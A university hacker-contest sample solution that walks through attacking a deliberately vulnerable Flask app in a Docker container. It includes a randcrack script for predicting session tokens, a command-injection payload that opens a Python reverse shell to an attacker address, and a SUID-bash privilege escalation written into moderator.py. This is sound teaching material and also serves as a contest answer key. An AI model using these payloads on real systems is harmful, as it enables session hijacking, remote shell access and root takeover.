During summer semester of 2025, our "Hacker Contest" will be held again Darmstadt University (TU) and Darmstadt University of Applied Sciences (h_da). In the popular course, students have the chance to get real insights into IT security and gain hands-on experience with tools and methods to search for vulnerabilities in networks and systems.
As in every semester, prospective participants took on the Hacker Contest Challenge to qualify for participation.
If you are curious to know what a Hacker Contest Challenge looks like, or which flags you might have missed this time: This is our sample solution for the summer semester 2025 Hacker Contest Challenge.
Table of Contents
- Scenario
- Challenge
- Vulnerabilities
Scenario
A good friend has asked you to check his self-written website for potential vulnerabilities. He will make it available to you as a Docker container. After your approval, he wants to install the container on a Linux server with a public IP.
Challenge
The Challenge provides the docker container which hosts a basic flask web application. Your task is to discover and exploit multiple vulnerabilities and put them into a meaningful attack chain to obtain root access on the docker container.
Vulnerabilities
1. Insecure Randomness used for Session Token generation
By examining the way how the application creates session tokens, we see that it uses the getrandbits()
function of the python library random
which is known to be insecure cryptographically.
webapp/app.py:136
[...] session = f"{getrandbits(128):032x}" in_one_hour = int(time.time()) + SESSION_LIFETIME commit_db("UPDATE users SET session = ?, session_valid_until = ? WHERE username = ?", [session, in_one_hour, username]) response = jsonify({"success": True}) response.set_cookie("session", session, samesite='strict') return response [...] ```
Using the following script we can exploit the non randomness of getrandbits()
:
from randcrack import RandCrack import requests from tqdm import tqdm from secrets import token_hex TARGET = "http://localhost:1337" username = token_hex(10) resp = requests.post(TARGET + "/api/register", json={"username": username, "password": username}) rc = RandCrack() for _ in tqdm(range(624 // 4)): resp = requests.post(TARGET + "/api/login", json={"username": username, "password": username}) session = int(resp.cookies["session"], 16) for _ in range(4): rc.submit(session & 0xffffffff) session >>= 32 print(f"Wait until moderator logged in again. Then use this session: {rc.predict_getrandbits(128):032x}")
The exploit script logs in as unprivileged user to obtain a valid session token. Then it utilizes the randcrack
library to predicting the next token that will be generated.
Following we wait for a moment until the moderator user authenticates against the web application. Then we can hijack his session via the token generated by the exploit.
2. Command Injection in Admin Panel
After we obtained the privileged session, we now have access to the admin functions of the website. Here we discovered a command injection in the /api/admin/logs
endpoint due to missing input sanitation of user controlled data of the unit
parameter.
webapp/app.py:171-182
:
@app.route('/api/admin/logs', methods=['POST']) @only_admin @api_guard def get_logs(): data = request.json unit = data.get("unit") if unit: unit_flag = f"-u {unit}" else: unit_flag = "" data = os.popen(f"journalctl -n 100 --reverse --no-pager {unit_flag} -o json-seq").read()
With the command injection we can supply a payload that executes a reverse shell via python that connects to our attacker system.
Injected python reverse shell payload:
; python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' #
3. Privilege Escalation using moderator
Now we gained shell access to the Docker container under the web
user. Looking further to escalate our privileges we see that the file moderator.py
is writable by our current user.
Execute the following command via the rev shell in order to write a payload into the file of the web application that will be executed when moderator is started again:echo -e 'import os; os.system("chmod +s /bin/bash")' >> moderator.py
Now the /bin/bash
binary has the SUID bit set. Executing bash -p
yields a shell with euid=0
and hence we obtained root privileges with this full attack chain.